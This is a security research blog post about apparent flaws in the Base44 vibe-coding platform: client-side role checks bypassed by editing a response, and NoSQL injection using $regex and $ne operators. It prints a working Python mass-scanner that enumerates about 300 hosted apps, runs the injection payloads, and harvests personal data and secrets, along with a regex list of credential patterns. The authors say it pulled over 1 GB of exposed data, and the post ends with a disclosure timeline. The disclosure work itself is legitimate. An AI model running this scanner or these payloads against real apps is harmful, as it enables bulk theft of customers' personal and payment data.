The Dark Side of Vibe Code

Today we will demonstrate just how dangerously exposed the Vibe code has become.
After conducting in-depth research across several client projects, we uncovered a significant mess hidden within the codebase—critical risks in vibe code that cannot be ignored.

One of the most alarming findings is that with minimal effort, attackers can trigger a full chain of compromise. It often begins with something as simple as an information disclosure vulnerability. By following just three straightforward steps, an attacker can map the system and launch a highly effective attack:
- Mapping existing endpoints – identifying exposed routes and services.
- Extracting sensitive secrets – such as API keys, tokens, webhook URLs, or even full access to a Discourse admin dashboard.
- Executing attacks at scale – leveraging leaked information to gain unauthorized access and expand control.
Shockingly, all of this can be achieved with as little as two requests.
This demonstrates not only how fragile the Vibe code has become, but also how urgent it is for organizations to take these risks seriously and implement immediate remediation.
Even more concerning is the fact that by simply opening the browser’s developer tools, an attacker can see far more than they should.
It becomes evident that—even when deployed on a custom domain—the backend is still fully dependent on the Vibe Code Server.
This means that if program ever fails, every project built on top of it is instantly exposed and at risk. In other words, what looks like a self-hosted deployment is, in reality, nothing more than a thin layer over builder infrastructure.

What we are actually looking at is closer to a SaaS website builder than to tools like Claude or other standalone frameworks. By inspecting only the first few requests, we already see how the flow works:
The first request fetches the app_id from the vibe code server.
That ID is then used to so the app's backend is recognized on the vibe code server without the need to deploy servers, create Docker images, or set up CI/CD pipelines.
Sure, this makes managment over the infrastructure easier, but its far from perfect.
Enumeration Made Simple
Take for example the following request:

from this single call, an attacker can start enumerating applications. By collecting the app_id and feeding it into the next endpoint, they can retrieve the full configuration in one request.

Looking at the first JSON response, It becomes clear that the entire application is built at runtime—all React components and pages are delivered in plain form rather than being compiled or obfuscated.
This means an attacker can easily read and investigate the full client-side code, including sensitive functionality such as administrative features. If any secrets are embedded within the client code, they can be exposed in seconds.
What should have been hidden and protected during a proper build process is instead fully transparent, leaving the entire application surface wide open for analysis and exploitation.


In this app for example, we can see the admin authorization logic exposed in the source code. Giving threat actors more chances to map and understand the "backend" functionality in order to exploit the code. These are bad practices that should be avoided, in this example we have this
if user && (user.role === 'admin' || user.can_manage_bookings)...
We will come back to this later, for now lets focus on one of the more significant parts of the attack surface - retrieving the config json.
The Json file fully exposes every endpoint in the application. Including endpoints reserverd for administrative functions.
This information disclosure basicly provides the attackers with a full mapping of the application's internal structure, making it easy to identify potential weak parts of the code, and target those. This is the reason they are normally hidden and not exposed to the client. In vibe coding this isn't the case.

In our tests, we started by fuzzing responses from each of the exposed endpoints, simply sending crafted GET
requests, and soon enough we were able to retrieve highly sensitive data.
In this example and several more, endpoints returned very highly sensitive infomration, including booking orders from the example above,m with no authentication, authorization or any security measure in the way of our reqeusts.
Unrestricted access like this means the threat actor can harvest personal information or sensitive bussiness information in bulk from the sites built by vibe code, with no effort, as showin in the image.

At this point we decided to check weather access to the admin dashboard was exposed in the same manor.
By searching for the login and authorization flow, it quickly became clear that the app handles authentication though its own SSO(single sign on) system. This on itself isn't an issue, but the way authentication is handled is. After the SSO login request is sent from the client, the code vibe SSO sends back only a callback whether the to authenticate or not. meaning authorization isn't enforced on the backend, but sent to the clinet side, allowing simple privilege escalation from basic users to administrator, regardless of the users real role in the system. All the threat actor has to do is manipulate the client side regarding his role.
This means that role checks can be easily bypassed, allowing attackers to potentially trick the system into granting admin-level functionality simply by manipulating client-side data.

The vulnerability/misconfiguration appears at this endpoint
https://base44.app/api/apps/{app_id}/entities/User/me
The response returned by the endpoint is a user object, including role information, now going back to the fact that user authorization is handled in the client side, all the attacker has to do is to intercept and modify the role in transit. in the following example all we had to do was choose google as the sso authentication provider, then while getting redirected to the admin dashboard, all we had to do was change the role of user to admin in the response, allowing us to gain full administrative privileges and access without even having to try administrator credential attack methods.

In this example, you can see how we gained full access to the CRM with administrator privileges, compromising sensitive data regarding clients and the website functionality. This is privilege escalation with no effort, as you can see in the example.

After confirming the issue on multiple sites, including clients and our own landing pages, we immediately sent a report to the clients and to our developers to close the issue.
While they were fixing the issues, my curiosity made me question myself, Did i dig deep enough ?
This issue was found without even digging deep into the system. maybe our sites and our clients sites suffer from more signifcat vulnerabilities. maybe the attack surface is wider then my initial thoughts.
the vibe code did release a patch apperantly for this issue, but does it work ? will solutions that rush to fix a problem really fix it once and for all, or is this another temporary fix that will be punished in the future with other vulernabilities


further investigating this gut feeling i had, about the ability of vibe coding platforms to patch and close issues like this in a quick and safe manor, i decided to test the new applied security roles that builder integrated recently, after one of our clients insisted that now the site has to be protected. Our client integrated the security patch, adding rules restricting access only to creator and administrator roles.
But how were these restrictions implanted by AI? by adding nothing more than a simple parameter attached to every endpoint
https://base44.app/api/apps/{app_id}/entities/{name}?q={key:value}
What this means in reality, is that security enforcement and authorization is still handled in the client side. all the attackers has to do now is manipulate the parameter or override it, in order to bypass these "patched protections". Instead of patching the issue, solving it from the root and finishing the saga, i found out that my gut feeling was right, the AI was just shifting the problem instead of handling it.

Now, Enumerating all the emails in the system is a hard, yet possible option for an attack. But i wanted something more elegant, that works most of the time and is much quieter than sending a mass amount of requests in order to enumerate.
Now, i assume several of our readers who saw the previous endpoint
https://base44.app/api/apps/{app_id}/entities/{name}?q={key:value}
can guess where this is going.
whenever I see a Json-based API, I start thinking about NoSQL injection immediately. In this case, it only took 2 requests, as my second payload hit the target.
By changing the value of the created_by field from a simple string into a JSON object containing a NoSQL operator - for example:
{
"created_by": { "$regex": "^d"}
}
we were able to successfully inject into the query.
This proved that the backend was not validating input properly, and the system was vulnerable to NoSQL injection attacks with nothing more than two crafted requests. further more, this proves that the code generator behind the vibe code, isn't applying basic practices like sanitization at endpoints, which can make one wonder what other bad practicies are code generators inserting into vibe coding codes ?

Taking the test one step further, we replaced the $regex
operator with the $ne
(not equal) operator:
{
"created_by": { "$ne": null }
}
The result was immediate—a massive response dump containing far more data than should ever be exposed.
This confirmed that the backend query engine directly processes user-supplied JSON operators without any sanitization or validation. By leveraging $ne
, we were essentially able to bypass all filtering logic and retrieve all records.

After reporting the issue again, the client attempted—once more—to rely on AI-generated fixes and custom rules. Even when AI suggested implementing Row-Level Security (RLS), the solution was either applied incorrectly or failed entirely. Despite the security features builder claims to provide, the vulnerabilities remained.
At this point, I asked myself an important question: does one vulnerable app mean that all apps craeted on vibe code have the suffer from the same misconfigurations and vulnerabilities?
Only now did we start to realize that something bigger might exist here.
To verify this theory, we began researching he deploys applications on their servers, and whether there is a systematic way to enumerate all domains hosted on the platform.
That’s when we noticed a critical clue:
all domains of app created share the same CNAME DNS record.
base44.onrender.com
This means that by enumerating domains pointing to this shared CNAME, it becomes trivial to build a list of potential targets—every single app deployed.

Using a simple custom-built scanner, we were able to quickly collect over 300 domains of applications running on the same vibe code.


With this dataset in hand, we began writing a Python proof-of-concept script designed to automatically detect vulnerabilities and PII (Personally Identifiable Information) leaks by querying exposed endpoints across those domains.
from httpx import AsyncClient
import asyncio, os, json
import aiofiles, re
import aiofiles
HEADERS = {
"cache-control": "max-age=0",
"priority": "u=0, i",
"sec-ch-ua": '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"',
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": "Android",
"sec-fetch-dest": "document",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "none",
"sec-fetch-user": "?1",
"upgrade-insecure-requests": "1",
"user-agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36"
}
PROXY_URL = "" # https://user:pass@127.0.0.1:8080
async def get_mapping():
async with aiofiles.open("./mapping.json", encoding="UTF-8", mode="r+") as f:
return json.loads(await f.read())
async def nosql_testing(client: object, app_id: str, path: str, method: str)->dict:
response = await client.request(method, f"https://base44.app/api/apps/{app_id}/entities/{path}?q=anything")
if response.json().get("error_type", "") == "JSONDecodeError":
for key, value in [("$regex", "0"), ("$ne", None)]:
find_regex = json.dumps({"id":{key:value}})
response = await client.request(method, f"https://base44.app/api/apps/{app_id}/entities/{path}?q={find_regex}")
if len(response.json()) == 0: continue
return {"status":True, "payload":find_regex, "data":response.json(), "url": str(response.url)}
return {"status":False}
else:
return {"status":False}
async def extract_secrets(app_id, mapping):
profile = {}
async with AsyncClient(headers=HEADERS, proxy=PROXY_URL) as client:
response = await client.get(f"https://base44.app/api/apps/public/prod/by-id/{app_id}")
data = response.json()
if data.get("entities"):
profile["endpoints"] = list(data.get("entities").keys())
for key in ["pages", "components"]:
profile[key] = {}
for page in data.get(key, {}).keys():
content = data.get(key, {}).get(page)
if content:
profile[key][page] = {
"page":content,
"secrets":{}
}
for name in mapping.get("regex").keys():
pattern = re.compile(mapping.get("regex").get(name))
results = pattern.findall(content)
profile[key][page]["secrets"][name] = results
if data.get("github_repo_url"):
profile["github"] = data.get("github_repo_url")
return profile
async def detect_pii(app_id, path: str, mapping: dict, list_methods: list[str] = None)->bool:
reports = []
if not isinstance(list_methods, list):
list_methods = []
async with AsyncClient(headers=HEADERS, proxy=PROXY_URL) as client:
if not list_methods:
list_methods.append("GET")
for method in list_methods:
response = await client.request(method, f"https://base44.app/api/apps/{app_id}/entities/{path}")
data = response.json()
example_data = data if isinstance(data, dict) else (data[0] if isinstance(data, list) and not len(data) == 0 else {})
example_keys = list(example_data.keys())
matches_path = [group["score"] for group in mapping["paths"] if any(keyword in path.lower() for keyword in group["name"])]
matches_fields = [group["score"] for group in mapping["fields"] if any(name.lower() in key.lower() for key in example_keys for name in group["name"])]
nosql_results = await nosql_testing(client, app_id, path, method)
if example_data:
if bool(matches_path):
reports.append({
"path":path,
"url":str(response.url),
"fileds":example_keys,
"data":data,
"score": max(matches_path),
"nosql":nosql_results
})
if bool(matches_fields):
reports.append({
"path":path,
"url":str(response.url),
"fileds":example_keys,
"data":data,
"score": max(matches_fields),
"nosql":nosql_results
})
else:
reports.append({
"path":path,
"url":str(response.url),
"fileds":example_keys,
"data":data,
"score": 0,
"nosql":nosql_results
})
else:
reports.append({
"path":path,
"url":str(response.url),
"fileds":example_keys,
"data":data,
"score": 0,
"nosql":nosql_results
})
return reports
async def find_endpoints(domain: str)->tuple[str, list[str]]:
app_id = None
endpoints = []
url = f"https://base44.app/api/apps/public/prod/domain/{domain}"
async with AsyncClient(headers=HEADERS, proxy=PROXY_URL) as client:
response = await client.get(url)
app_id = response.json()
if isinstance(app_id, str):
response = await client.get(
f"https://base44.app/api/apps/{app_id}/entities/{os.urandom(9).hex()}"
)
message = response.json().get("message")
if message and "available entities:" in message:
endpoints = message[message.find("entities:") + 9:]
endpoints = [endpoint.strip() for endpoint in endpoints.split(",")]
return app_id, endpoints
async def scan(domain: str, mapping: dict)->None:
print(f"[+] Start Scan: >{domain}")
app_id , endpoints = await find_endpoints(domain)
profile = await extract_secrets(app_id, mapping)
endpoints.extend(profile.get("endpoints", []))
list(set(endpoints))
profile["endpoints"] = {}
for endpoint in endpoints:
report = await detect_pii(app_id, endpoint, mapping)
profile["endpoints"][endpoint] = report
with open("./reports/" + domain + ".json", encoding="UTF-8", mode="w") as f:
json.dump(profile, f, indent=4, ensure_ascii=False)
print(f"[+] End Scan: >{domain}")
async def main():
tasks = []
mapping = await get_mapping()
async with aiofiles.open("targets.txt", encoding="UTF-8", mode="r") as wb_f:
while True:
domain = await wb_f.readline()
domain = domain.replace("\n", "").strip()
if len(tasks) == 50:
if domain:
tasks.append(
scan(domain, mapping)
)
print(f"[+] Eexcuted Task on: {len(tasks)} targets")
await asyncio.gather(*tasks)
tasks.clear()
elif not domain and len(tasks) != 0:
print(f"[+] Eexcuted Task on: {len(tasks)} targets")
await asyncio.gather(*tasks)
tasks.clear()
break
elif not domain and len(tasks) == 0:
break
else:
tasks.append(
scan(domain, mapping)
)
await asyncio.sleep(0.5)
asyncio.run(main())
{
"regex": {
"urls": "https?:\\/\\/[^\\s\"'<>]+",
"google_api": "AIza[0-9A-Za-z\\-_]{35}",
"google_oauth": "ya29\\.[0-9A-Za-z\\-_]+",
"firebase": "AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}",
"aws_access_key": "AKIA[0-9A-Z]{16}",
"aws_secret": "(?i)aws(.{0,20})?['\\\"][0-9a-zA-Z\\/+=]{40}['\\\"]",
"jwt": "eyJ[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+",
"slack": "xox[baprs]-[0-9A-Za-z]{10,48}",
"discord": "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}",
"telegram": "[0-9]{9}:[A-Za-z0-9_-]{35}",
"stripe_live": "sk_live_[0-9a-zA-Z]{24}",
"stripe_test": "sk_test_[0-9a-zA-Z]{24}",
"github": "ghp_[0-9a-zA-Z]{36}",
"gitlab": "glpat-[0-9a-zA-Z\\-_]{20,}",
"bitbucket": "x-token-auth:[0-9a-zA-Z_-]+",
"facebook": "EAACEdEose0cBA[0-9A-Za-z]+",
"twitter": "AAAAAAAA[0-9A-Za-z%]{35,}",
"linkedin": "AQED[0-9A-Za-z_-]{50,}",
"sendgrid": "SG\\.[0-9A-Za-z\\-_]{22}\\.[0-9A-Za-z\\-_]{43}",
"twilio_sid": "AC[0-9a-fA-F]{32}",
"twilio_token": "[0-9a-f]{32}",
"private_key": "-----BEGIN (?:RSA|EC|PGP|DSA|OPENSSH) PRIVATE KEY-----"
},
"paths": [
{
"name": [
"admin", "administrator", "edit", "upload", "manage", "config"
],
"score": 8
},
{
"name": [
"event"
],
"score": 3
},
{
"name": [
"user", "account", "payment", "order", "invoice", "history",
"lead", "billing", "client", "appointment"
],
"score": 7
},
{
"name": [
"auth", "login", "signup", "register", "reset", "profile", "coupon"
],
"score": 6
}
],
"fields": [
{
"name": [
"first_name", "frist_name", "firstname", "fristname",
"last_name", "lastname", "lastName"
],
"score": 8
},
{
"name": [
"email", "mail", "mailbox", "e_mail", "contact_email",
"phone", "phone_number", "mobile", "tel"
],
"score": 8
},
{
"name": [
"user", "username", "name", "display_name", "nickname", "screen_name", "analytics"
],
"score": 3
},
{
"name": [
"password", "pass", "pwd", "secret",
"card", "credit_card", "cc_number", "ccn",
"cvv", "cvc", "security_code"
],
"score": 10
},
{
"name": [
"address", "street", "city", "zip", "postal_code", "country"
],
"score": 6
}
]
}
The goal was clear: determine whether the weaknesses we discovered in a single app were isolated, or if they represented a systemic risk across the entire vibe codeing ecosystem.
Once the scanner was deployed, all we had to do was wait for the results…

The results were staggering.
Out of the ~300 domains we scanned, over 200 were vulnerable, and in total we collected more than 1 GB of exposed data.
Not every site contained a live database—some were nothing more than “About Me” pages for freelancers, while others were simple landing pages for ad services.
But for those that did hold data, the exposure included sensitive customer information, orders, and potentially exploitable business logic.
This confirmed our theory: the issues were not isolated to a single project but represented a system-wide vulnerability across same powered applications.


Conclusion
This research demonstrates that vulnerabilities in Vibe Code are not isolated incidents—they are architectural flaws affecting the entire ecosystem.
The platform functions more like a SaaS website builder than a secure application framework. While convenient for fast deployment, the trade-off is massive security risk, exposing customers, their users, and potentially entire businesses.
Immediate action is required to:
- Move all role validation server-side.
- Properly compile/obfuscate client code.
- Implement input sanitization to block NoSQL injection.
We reported the issues directly to Base44’s CEO, and his response was:
From what we see so far, you did not put RLS read rules on the application – only write.
This could only happen if you disabled that manually.
The statement in the blog is far beyond correct
the application itself is not set up properly, and the entire blog is based on the fact that the AI implemented the restriction in the client side.
Client-side restrictions should not happen if you follow the instructions or disable the RLS rules manually.
It’s a bit like building an application in Python, leaving a security hole, and then writing that there are “security holes in Python.”
Regarding other sites – unfortunately, there are sometimes misconfigurations there too. We can go through them, review, and address them, but it will take time.
We also want to point out that the NoSQL issue happened because RLS rules were not properly set. It’s important to understand what this means: RLS rules are about permissions, not injections.
Looking back at the beginning of the article, we can see that even when the customer tried to set the RLS rules, it did not help - and when it did “help” it simply broke the entire site, maybe not anyone can build website with vibe code.
So maybe the rules were not applied in the right way, but if the same list of vulnerabilities keeps repeating again and again, we need to seriously ask ourselves:
Following this incident, our client immediately began working on a solution to protect his business. What started with seemingly simple vulnerabilities quickly escalated into a major disruption. Within just a few hours, regardless of the research findings we received reports that nearly all of services had gone offline under the label of “services suspended by the owner.”

Time-Line:
- 22/08/2025 – Full disclosure report submitted to Base44 and Wix.
- 25/08/2025 – Base44 released a patch addressing the NoSQL Injection vulnerability.


Following this, and after our initial response, we received emails and calls from Base44. Wix then provided us with a revised application for review. This updated version is structurally different and demonstrates improved security, with the previously identified NoSQL Injection vulnerability successfully patched. We confirmed this by creating a new application instance, which verified that the issue has been fixed. However …
the older version still requires an update by the user to ensure full security.
However, the updated application now reveals new warnings, highlighting additional security recommendations that were not previously identified. At this stage, the primary remaining exposure is admin page disclosure – while the admin panel can still be accessed and viewed, it currently lacks active functionality. Despite this limitation, such exposure may nonetheless represent a potential weakness and could be exploited or misused in other contexts.